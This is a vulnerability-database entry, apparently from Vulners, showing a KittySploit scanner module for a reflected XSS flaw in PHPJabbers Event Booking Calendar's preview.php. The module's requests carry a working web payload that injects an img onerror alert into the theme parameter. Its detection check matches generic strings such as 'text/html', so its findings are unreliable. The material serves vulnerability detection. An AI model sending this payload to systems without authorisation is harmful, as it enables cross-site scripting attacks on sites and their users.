Lucene search
+L

PHPJabbers Event Booking Calendar - Reflected XSS Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Reflected XSS in PHPJabbers Event Booking Calendar via the preview.php endpoint.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detected that PHPJabbers Event Booking Calendar contained a reflected cross-site scripting vulnerability in th."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'PHPJabbers Event Booking Calendar - Reflected XSS Detection',
        'description': 'Detected that PHPJabbers Event Booking Calendar contained a reflected cross-site scripting vulnerability in the preview.php endpoint',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'vulnerability', 'phpjabbers', 'xss', 'reflected'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://cxsecurity.com/issue/WLB-2026050008',
            'https://www.phpjabbers.com/event-booking-calendar/',
        ],
    }

    def run(self):
        for path in ('/scripts/event-booking-calendar/preview.php?locale=1&hide=0&theme=theme1%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3Etest', '/preview.php?locale=1&hide=0&theme=theme1%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3Etest'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            body_any = ('<img src=x onerror=alert(document.domain)>test', 'Event Booking Calendar', 'PHPJabbers', 'text/html',)
            if (any(m in body for m in body_any)):
                self.set_info(
                    severity='medium',
                    reason="PHPJabbers Event Booking Calendar - Reflected XSS detected",
                    path=path,
                )
                return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
5.6Medium risk
Vulners AI Score5.6
1